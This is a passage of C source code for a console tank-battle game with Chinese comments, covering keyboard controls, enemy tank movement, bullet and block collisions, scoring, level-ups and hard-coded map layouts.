map[y2+1][x2-1]=0; map[y2+1][x2]=1; map[y2+1][x2+1]=1;
}break;
case 4 :
{
map[y2-1][x2-1]=1; map[y2-1][x2]=1; map[y2-1][x2+1]=0;
map[y2][x2-1]=0; map[y2][x2]=1; map[y2][x2+1]=1;
map[y2+1][x2-1]=1; map[y2+1][x2]=1; map[y2+1][x2+1]=0;
}break;
}
switch(state_3)
{
case 1 :
{
map[y3-1][x3-1]=0; map[y3-1][x3]=1; map[y3-1][x3+1]=0;
map[y3][x3-1]=1; map[y3][x3]=1; map[y3][x3+1]=1;
map[y3+1][x3-1]=1; map[y3+1][x3]=0; map[y3+1][x3+1]=1;
}break;
case 2 :
{
map[y3-1][x3-1]=1; map[y3-1][x3]=0; map[y3-1][x3+1]=1;
map[y3][x3-1]=1; map[y3][x3]=1; map[y3][x3+1]=1;
map[y3+1][x3-1]=0; map[y3+1][x3]=1; map[y3+1][x3+1]=0;
}break;
case 3 :
{
map[y3-1][x3-1]=0; map[y3-1][x3]=1; map[y3-1][x3+1]=1;
map[y3][x3-1]=1; map[y3][x3]=1; map[y3][x3+1]=0;
map[y3+1][x3-1]=0; map[y3+1][x3]=1; map[y3+1][x3+1]=1;
}break;
case 4 :
{
map[y3-1][x3-1]=1; map[y3-1][x3]=1; map[y3-1][x3+1]=0;
map[y3][x3-1]=0; map[y3][x3]=1; map[y3][x3+1]=1;
map[y3+1][x3-1]=1; map[y3+1][x3]=1; map[y3+1][x3+1]=0;
}break;
}
}
}
void my_move()
{
char key;
if (kbhit()) //检测,如果有按键就执行if里面的
{
key = getch();//捕获按键
switch( key )
{
case 72:turn_up(my_tank);//上
break;
case 75:turn_left(my_tank);//左
break;
case 77:turn_right(my_tank);//右
break;
case 80:turn_down(my_tank);//下
break;
case 32:stop();//空格 暂停或开始
break;
case 104:help();//小h切换到帮助菜单
break;
case 115:switch_skin(),print_my_tank();//小s键切换皮肤
break;
case 119:switch_weapons();//小w键切换武器
break;
case 27:exit(0);//Esc 退出
default: ;
}
}
}
int check1(int x,int y)//在正上面,用它检测
{
for(int j=y;j<27;j++)
if(map[j][x]==4)
return 0;
return 1;
}
int check2(int x,int y)//在正左面,用它检测
{
for(int i=x;i<14;i++)
if(map[y][i]==4)
return 0;
return 1;
}
int check3(int x,int y)//在正右面,用它检测
{
for(int i=x;i>15;i--)
if(map[y][i]==4)
return 0;
return 1;
}
void move_1()
{
if((x1==14 || x1==15) && check1(x1,y1))//在正上面
{
if(state_1!=2)
turn_down_1(tank_1);
}
else if(x1<14 && y1==27 && check2(x1,y1))//在正左面
{
if(state_1!=4)
turn_right_1(tank_1);
}
else if(x1>15 && y1==27 && check3(x1,y1))//在正右面
{
if(state_1!=3)
turn_left_1(tank_1);
}
else
{
if(judge2(x1,y1,cp1))
switch(cp1)
{
case 1 :turn_up_1(tank_1);break;
case 2 :turn_down_1(tank_1);break;
case 3 :turn_left_1(tank_1);break;
case 4 :turn_right_1(tank_1);break;
}
while(judge2(x1,y1,cp1) == 0)
{
cp1=(rand()%4+1);
}
}
}
void move_2()
{
if((x2==14 || x2==15) && check1(x2,y2))//在正上面
{
if(state_2!=2)
turn_down_2(tank_2);
}
else if(x2<14 && y2==27 && check2(x2,y2))//在正左面
{
if(state_2!=4)
turn_right_2(tank_2);
}
else if(x2>15 && y2==27 && check3(x2,y2))//在正右面
{
if(state_2!=3)
turn_left_2(tank_2);
}
else
{
if(judge2(x2,y2,cp2))
switch(cp2)
{
case 1 :turn_up_2(tank_2);break;
case 2 :turn_down_2(tank_2);break;
case 3 :turn_left_2(tank_2);break;
case 4 :turn_right_2(tank_2);break;
}
while(judge2(x2,y2,cp2) == 0)
{
cp2=(rand()%4+1);
}
}
}
void move_3()
{
if((x3==14 || x3==15) && check1(x3,y3))//在正上面
{
if(state_3!=2)
turn_down_3(tank_3);
}
else if(x3<14 && y3==27 && check2(x3,y3))//在正左面
{
if(state_3!=4)
turn_right_3(tank_3);
}
else if(x3>15 && y3==27 && check3(x3,y3))//在正右面
{
if(state_3!=3)
turn_left_3(tank_3);
}
else
{
if(judge2(x3,y3,cp3))
switch(cp3)
{
case 1 :turn_up_3(tank_3);break;
case 2 :turn_down_3(tank_3);break;
case 3 :turn_left_3(tank_3);break;
case 4 :turn_right_3(tank_3);break;
}
while(judge2(x3,y3,cp3) == 0)
{
cp3=(rand()%4+1);
}
}
}
int check_bullet(int x,int y)
{
if(map[y][x])
return 0;
return 1;
}
void change_thing()//物品被子弹击中会改变
{
if(m>0&&m<29 && n>0&&n<29)//被我的子弹击中
if(thing[n-1][m-1]==1)//打中第一种方块
{
if(weapons==2)
{
if(thing[n][m-1]==1)
thing[n][m-1]=0;
gotoxy(2*m,n+1);
printf(" ");//擦去方块
if(thing[n-2][m-1]==1)
thing[n-2][m-1]=0;
gotoxy(2*m,n-1);
printf(" ");//擦去方块
if(thing[n-1][m]==1)
thing[n-1][m]=0;
gotoxy(2*(m+1),n);
printf(" ");//擦去方块
if(thing[n-1][m-2]==1)
thing[n-1][m-2]=0;
gotoxy(2*(m-1),n);
printf(" ");//擦去方块
thing[n-1][m-1]=0;
gotoxy(2*m,n);
printf(" ");//擦去方块
m=0,n=0;//子弹消失
print_thing();
refresh_map();
}
else if(weapons==3)
{
thing[n-1][m-1]=0;
gotoxy(2*m,n);
printf(" ");//擦去方块
print_my_bullet(m,n);
print_thing();
refresh_map();
}
else
{
thing[n-1][m-1]=0;
gotoxy(2*m,n);
printf(" ");//擦去方块
m=0,n=0;//子弹消失
print_thing();
refresh_map();
}
}
else if(thing[n-1][m-1]==2)//打到第二种方块
{
if(weapons==5)
{
thing[n-1][m-1]=0;
gotoxy(2*m,n);
printf(" ");
m=0,n=0;//子弹消失
print_thing();
refresh_map();
}
else if(weapons==2)
{
m=0,n=0;
}
else
{
thing[n-1][m-1]=1;
m=0,n=0;//子弹消失
print_thing();
refresh_map();
}
}
else if(thing[n-1][m-1]==3)
{
if(weapons==4 || weapons==2)
m=0,n=0;
else if(weapons==5)
{
thing[n-1][m-1]=0;
gotoxy(2*m,n);
printf(" ");
m=0,n=0;//子弹消失
print_thing();
refresh_map();
}
else
{
thing[n-1][m-1]=2;
m=0,n=0;//子弹消失
print_thing();
refresh_map();
}
}
else if(thing[n-1][m-1]==4)//此方块不受子弹影响
{
m=0,n=0;//子弹消失
}
if(m1>0&&m1<29 && n1>0&&n1<29)//被坦克1号子弹击中
if(thing[n1-1][m1-1]==1)
{
thing[n1-1][m1-1]=0;
gotoxy(2*m1,n1);
printf(" ");
m1=0,n1=0;
print_thing();
refresh_map();
}
else if(thing[n1-1][m1-1]==2)
{
thing[n1-1][m1-1]=1;
m1=0,n1=0;//子弹消失
print_thing();
refresh_map();
}
else if(thing[n1-1][m1-1]==3)
{
thing[n1-1][m1-1]=2;
m1=0,n1=0;//子弹消失
print_thing();
refresh_map();
}
else if(thing[n-1][m-1]==4)//此方块不受子弹影响
{
m1=0,n1=0;//子弹消失
}
if(m2>0&&m2<29 && n2>0&&n2<29)
if(thing[n2-1][m2-1]==1)
{
thing[n2-1][m2-1]=0;
gotoxy(2*m2,n2);
printf(" ");
m2=0,n2=0;
print_thing();
refresh_map();
}
else if(thing[n2-1][m2-1]==2)
{
thing[n2-1][m2-1]=1;
m2=0,n2=0;//子弹消失
print_thing();
refresh_map();
}
else if(thing[n2-1][m2-1]==3)
{
thing[n2-1][m2-1]=2;
m2=0,n2=0;//子弹消失
print_thing();
refresh_map();
}
else if(thing[n2-1][m2-1]==4)//此方块不受子弹影响
{
m2=0,n2=0;//子弹消失
}
if(m3>0&&m3<29 && n3>0&&n3<29)
if(thing[n3-1][m3-1]==1)
{
thing[n3-1][m3-1]=0;
gotoxy(2*m3,n3);
printf(" ");
m3=0,n3=0;
print_thing();
refresh_map();
}
else if(thing[n3-1][m3-1]==2)
{
thing[n3-1][m3-1]=1;
m3=0,n3=0;//子弹消失
print_thing();
refresh_map();
}
else if(thing[n3-1][m3-1]==3)
{
thing[n3-1][m3-1]=2;
m3=0,n3=0;//子弹消失
print_thing();
refresh_map();
}
else if(thing[n3-1][m3-1]==4)//此方块不受子弹影响
{
m3=0,n3=0;//子弹消失
}
}
void change_bullet()//当我的坦克子弹和敌人坦克子弹碰撞
{
if(m!=0 && m==m1 && n==n1)
{
clear_bullet(m,n);
m=0,n=0,
clear_bullet(m1,n1);
m1=0,n1=0;
}
if(m!=0 && m==m2 && n==n2)
{
clear_bullet(m,n);
m=0,n=0,
clear_bullet(m2,n2);
m2=0,n2=0;
}
if(m!=0 && m==m3 && n==n3)
{
clear_bullet(m,n);
m=0,n=0,
clear_bullet(m3,n3);
m3=0,n3=0;
}
}
void change_tank()
{
switch(state)
{
case 1 : //当我的坦克方向向上时
{
if(x==m1&&(y-1)==n1 || (x-1)==m1&&y==n1 || x==m1&&y==n1 || (x+1)==m1&&y==n1 || (x-1)==m1&&(y+1)==n1 || (x+1)==m1&&(y+1)==n1)//如果坦克1号子弹打到我的坦克
clear_my_tank(),screen_2("坦克1号击中了你 生命值减1",4),x=10,y=27,m1=0,n1=0,life--,check_game(),turn_up(my_tank);//我的坦克回到初始位置,坦克1号子弹消失,生命值减1,**游戏是否结束,若没结束初始化方向
if(x==m2&&(y-1)==n2 || (x-1)==m2&&y==n2 || x==m2&&y==n2 || (x+1)==m2&&y==n2 || (x-1)==m2&&(y+1)==n2 || (x+1)==m2&&(y+1)==n2)//如果坦克2号子弹打到我的坦克
clear_my_tank(),screen_2("坦克2号击中了你 生命值减1",4),x=10,y=27,m2=0,n2=0,life--,check_game(),turn_up(my_tank);//我的坦克回到初始位置,坦克2号子弹消失,生命值减1,**游戏是否结束,若没结束初始化方向
if(x==m3&&(y-1)==n3 || (x-1)==m3&&y==n3 || x==m3&&y==n3 || (x+1)==m3&&y==n3 || (x-1)==m3&&(y+1)==n3 || (x+1)==m3&&(y+1)==n3)//如果坦克3号子弹打到我的坦克
clear_my_tank(),screen_2("坦克3号击中了你 生命值减1",4),x=10,y=27,m3=0,n3=0,life--,check_game(),turn_up(my_tank);//我的坦克回到初始位置,坦克3号子弹消失,生命值减1,**游戏是否结束,若没结束初始化方向
}break;
case 2 :
{
if(x==m1&&(y+1)==n1 || (x-1)==m1&&y==n1 || x==m1&&y==n1 || (x+1)==m1&&y==n1 || (x-1)==m1&&(y-1)==n1 || (x+1)==m1&&(y-1)==n1)
clear_my_tank(),screen_2("坦克1号击中了你 生命值减1",4),x=10,y=27,m1=0,n1=0,life--,check_game(),turn_up(my_tank);
if(x==m2&&(y+1)==n2 || (x-1)==m2&&y==n2 || x==m2&&y==n2 || (x+1)==m2&&y==n2 || (x-1)==m2&&(y-1)==n2 || (x+1)==m2&&(y-1)==n2)
clear_my_tank(),screen_2("坦克2号击中了你 生命值减1",4),x=10,y=27,m2=0,n2=0,life--,check_game(),turn_up(my_tank);
if(x==m3&&(y+1)==n3 || (x-1)==m3&&y==n3 || x==m3&&y==n3 || (x+1)==m3&&y==n3 || (x-1)==m3&&(y-1)==n3 || (x+1)==m3&&(y-1)==n3)
clear_my_tank(),screen_2("坦克3号击中了你 生命值减1",4),x=10,y=27,m3=0,n3=0,life--,check_game(),turn_up(my_tank);
}
case 3 :
{
if(x==m1&&(y-1)==n1 || (x-1)==m1&&y==n1 || x==m1&&y==n1 || (x+1)==m1&&(y-1)==n1 || x==m1&&(y+1)==n1 || (x+1)==m1&&(y+1)==n1)
clear_my_tank(),screen_2("坦克1号击中了你 生命值减1",4),x=10,y=27,m1=0,n1=0,life--,check_game(),turn_up(my_tank);
if(x==m2&&(y-1)==n2 || (x-1)==m2&&y==n2 || x==m2&&y==n2 || (x+1)==m2&&(y-1)==n2 || x==m2&&(y+1)==n2 || (x+1)==m2&&(y+1)==n2)
clear_my_tank(),screen_2("坦克2号击中了你 生命值减1",4),x=10,y=27,m2=0,n2=0,life--,check_game(),turn_up(my_tank);
if(x==m3&&(y-1)==n3 || (x-1)==m3&&y==n3 || x==m3&&y==n3 || (x+1)==m3&&(y-1)==n3 || x==m3&&(y+1)==n3 || (x+1)==m3&&(y+1)==n3)
clear_my_tank(),screen_2("坦克3号击中了你 生命值减1",4),x=10,y=27,m3=0,n3=0,life--,check_game(),turn_up(my_tank);
}
case 4 :
{
if(x==m1&&(y-1)==n1 || (x-1)==m1&&(y-1)==n1 || x==m1&&y==n1 || (x-1)==m1&&(y+1)==n1 || x==m1&&(y+1)==n1 || (x+1)==m1&&y==n1)
clear_my_tank(),screen_2("坦克1号击中了你 生命值减1",4),x=10,y=27,m1=0,n1=0,life--,check_game(),turn_up(my_tank);
if(x==m2&&(y-1)==n2 || (x-1)==m2&&(y-1)==n2 || x==m2&&y==n2 || (x-1)==m2&&(y+1)==n2 || x==m2&&(y+1)==n2 || (x+1)==m2&&y==n2)
clear_my_tank(),screen_2("坦克2号击中了你 生命值减1",4),x=10,y=27,m2=0,n2=0,life--,check_game(),turn_up(my_tank);
if(x==m3&&(y-1)==n3 || (x-1)==m3&&(y-1)==n3 || x==m3&&y==n3 || (x-1)==m3&&(y+1)==n3 || x==m3&&(y+1)==n3 || (x+1)==m3&&y==n3)
clear_my_tank(),screen_2("坦克3号击中了你 生命值减1",4),x=10,y=27,m3=0,n3=0,life--,check_game(),turn_up(my_tank);
}
}
}
void change_tank_1()
{
switch(state_1)
{
case 1 :
{
if(x1==m&&(y1-1)==n || (x1-1)==m&&y1==n || x1==m&&y1==n || (x1+1)==m&&y1==n || (x1-1)==m&&(y1+1)==n || (x1+1)==m&&(y1+1)==n)//如果我的坦克子弹打到坦克1号
clear_tank_1(),screen_2("你击中了坦克1号 +100分",3),x1=2,y1=2,m=0,n=0,enemy--,score=score+100,check_lv(),produce_star(),check_game();//坦克1号回到初始位置,我的坦克号子弹消失,敌人数量值减1,分数加100,**胜负
}break;
case 2 :
{
if(x1==m&&(y1+1)==n || (x1-1)==m&&y1==n || x1==m&&y1==n || (x1+1)==m&&y1==n || (x1-1)==m&&(y1-1)==n || (x1+1)==m&&(y1-1)==n)
clear_tank_1(),screen_2("你击中了坦克1号 +100分",3),x1=2,y1=2,m=0,n=0,enemy--,score=score+100,check_lv(),produce_star(),check_game();
}
case 3 :
{
if(x1==m&&(y1-1)==n || (x1-1)==m&&y1==n || x1==m&&y1==n || (x1+1)==m&&(y1-1)==n || x1==m&&(y1+1)==n || (x1+1)==m&&(y1+1)==n)
clear_tank_1(),screen_2("你击中了坦克1号 +100分",3),x1=2,y1=2,m=0,n=0,enemy--,score=score+100,check_lv(),produce_star(),check_game();
}
case 4 :
{
if(x1==m&&(y1-1)==n || (x1-1)==m&&(y1-1)==n || x1==m&&y1==n || (x1-1)==m&&(y1+1)==n || x1==m&&(y1+1)==n || (x1+1)==m&&y1==n)
clear_tank_1(),screen_2("你击中了坦克1号 +100分",3),x1=2,y1=2,m=0,n=0,enemy--,score=score+100,check_lv(),produce_star(),check_game();
}
}
}
void change_tank_2()
{
switch(state_2)
{
case 1 :
{
if(x2==m&&(y2-1)==n || (x2-1)==m&&y2==n || x2==m&&y2==n || (x2+1)==m&&y2==n || (x2-1)==m&&(y2+1)==n || (x2+1)==m&&(y2+1)==n)//如果我的坦克子弹打到坦克2号
clear_tank_2(),screen_2("你击中了坦克2号 +100分",3),x2=14,y2=2,m=0,n=0,enemy--,score=score+100,check_lv(),produce_star(),check_game();//坦克2号回到初始位置,我的坦克号子弹消失,敌人数量值减1,分数加100,**胜负
}break;
case 2 :
{
if(x2==m&&(y2+1)==n || (x2-1)==m&&y2==n || x2==m&&y2==n || (x2+1)==m&&y2==n || (x2-1)==m&&(y2-1)==n || (x2+1)==m&&(y2-1)==n)
clear_tank_2(),screen_2("你击中了坦克2号 +100分",3),x2=14,y2=2,m=0,n=0,enemy--,score=score+100,check_lv(),produce_star(),check_game();
}
case 3 :
{
if(x2==m&&(y2-1)==n || (x2-1)==m&&y2==n || x2==m&&y2==n || (x2+1)==m&&(y2-1)==n || x2==m&&(y2+1)==n || (x2+1)==m&&(y2+1)==n)
clear_tank_2(),screen_2("你击中了坦克2号 +100分",3),x2=14,y2=2,m=0,n=0,enemy--,score=score+100,check_lv(),produce_star(),check_game();
}
case 4 :
{
if(x2==m&&(y2-1)==n || (x2-1)==m&&(y2-1)==n || x2==m&&y2==n || (x2-1)==m&&(y2+1)==n || x2==m&&(y2+1)==n || (x2+1)==m&&y2==n)
clear_tank_2(),screen_2("你击中了坦克2号 +100分",3),x2=14,y2=2,m=0,n=0,enemy--,score=score+100,check_lv(),produce_star(),check_game();
}
}
}
void change_tank_3()
{
switch(state_3)
{
case 1 :
{
if(x3==m&&(y3-1)==n || (x3-1)==m&&y3==n || x3==m&&y3==n || (x3+1)==m&&y3==n || (x3-1)==m&&(y3+1)==n || (x3+1)==m&&(y3+1)==n)//如果我的坦克子弹打到坦克3号
clear_tank_3(),screen_2("你击中了坦克3号 +100分",3),x3=27,y3=2,m=0,n=0,enemy--,score=score+100,check_lv(),produce_star(),check_game();//坦克3号回到初始位置,我的坦克号子弹消失,敌人数量值减1,分数加100,**胜负
}break;
case 2 :
{
if(x3==m&&(y3+1)==n || (x3-1)==m&&y3==n || x3==m&&y3==n || (x3+1)==m&&y3==n || (x3-1)==m&&(y3-1)==n || (x3+1)==m&&(y3-1)==n)
clear_tank_3(),screen_2("你击中了坦克3号 +100分",3),x3=27,y3=2,m=0,n=0,enemy--,score=score+100,check_lv(),produce_star(),check_game();
}
case 3 :
{
if(x3==m&&(y3-1)==n || (x3-1)==m&&y3==n || x3==m&&y3==n || (x3+1)==m&&(y3-1)==n || x3==m&&(y3+1)==n || (x3+1)==m&&(y3+1)==n)
clear_tank_3(),screen_2("你击中了坦克3号 +100分",3),x3=27,y3=2,m=0,n=0,enemy--,score=score+100,check_lv(),produce_star(),check_game();
}
case 4 :
{
if(x3==m&&(y3-1)==n || (x3-1)==m&&(y3-1)==n || x3==m&&y3==n || (x3-1)==m&&(y3+1)==n || x3==m&&(y3+1)==n || (x3+1)==m&&y3==n)
clear_tank_3(),screen_2("你击中了坦克3号 +100分",3),x3=27,y3=2,m=0,n=0,enemy--,score=score+100,check_lv(),produce_star(),check_game();
}
}
}
void check_lv()
{
switch(score/1000)
{
case 0 :lv=1,speed=10;break;
case 1 :if(lv==1) screen_2("恭喜升到2级!",2);lv=2,speed=9;break;
case 2 :if(lv==2) screen_2("恭喜升到3级!",2);lv=3,speed=8;break;
case 3 :if(lv==3) screen_2("恭喜升到4级!",2);lv=4,speed=7;break;
case 4 :if(lv==4) screen_2("恭喜升到5级!",2);lv=5,speed=6;break;
case 5 :if(lv==5) screen_2("恭喜升到6级!",2);lv=6,speed=5;break;
case 6 :if(lv==6) screen_2("恭喜升到7级!",2);lv=7,speed=4;break;
case 7 :if(lv==7) screen_2("恭喜升到8级!",2);lv=8,speed=3;break;
case 8 :if(lv==8) screen_2("恭喜升到9级!",2);lv=9,speed=2;break;
case 9 :if(lv==9) screen_2("恭喜升到10级!,满级啦",2);lv=10,speed=1;break;
}
}
void get_map()
{
int map1[28][28]={{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{1,1,1,1,2,2,2,1,1,1,1,1,1,3,3,3,3,1,1,1,1,1,1,1,1,0,0,0},{1,1,1,1,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0},{1,1,1,1,2,2,2,1,1,1,1,1,1,3,3,3,3,1,1,1,1,1,1,1,1,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{0,0,0,1,1,1,1,1,1,1,1,4,4,4,4,4,4,4,4,1,1,1,1,1,1,1,1,1},{0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,0,0,0},{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0},{2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{0,0,0,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2},{0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0},{3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,0,0,0},{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}};
//int map1[28][28]={{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0},{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0},{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0},{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0},{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0},{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0},{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}};
int map2[28][28]={{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1},{1,1,1,1,1,1,0,0,1,3,3,3,3,3,3,3,3,3,3,3,1,0,0,1,1,1,1,1},{1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1},{1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1},{1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1},{1,1,1,1,1,1,0,0,1,4,4,4,4,4,4,4,4,4,4,4,1,0,0,1,1,1,1,1},{1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1},{4,4,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,4,4},{3,3,3,3,3,3,0,0,3,3,3,3,3,3,3,3,3,3,3,3,0,0,3,3,3,3,3,3},{1,1,1,1,3,3,0,0,3,3,1,1,1,1,1,1,1,1,3,3,0,0,3,3,1,1,1,1},{3,3,3,3,0,0,0,0,0,0,3,3,3,3,3,3,3,3,0,0,0,0,0,0,3,3,3,3},{1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1},{1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1},{2,2,2,2,2,2,0,0,2,2,2,2,2,2,2,2,2,2,2,2,0,0,2,2,2,2,2,2},{3,3,3,3,3,3,0,0,3,3,3,3,3,3,3,3,3,3,3,3,0,0,3,3,3,3,3,3},{1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1},{3,3,3,3,3,3,0,0,3,3,3,3,3,3,3,3,3,3,3,3,0,0,3,3,3,3,3,3},{2,2,2,2,2,2,0,0,2,2,2,2,2,2,2,2,2,2,2,2,0,0,2,2,2,2,2,2},{1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}};
int map3[28][28]={{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0},{0,2,2,2,2,2,0,4,4,4,4,0,1,1,1,1,0,4,4,4,4,0,2,2,2,2,2,0},{0,0,2,2,2,0,4,4,4,4,4,4,0,1,1,0,4,4,4,4,4,4,0,2,2,2,0,0},{0,0,0,2,0,4,4,4,4,4,4,4,4,0,0,4,4,4,4,4,4,4,4,0,2,0,0,0},{0,0,0,0,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,0,0,0,0},{0,0,0,0,0,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,0,0,0,0,0},{0,0,0,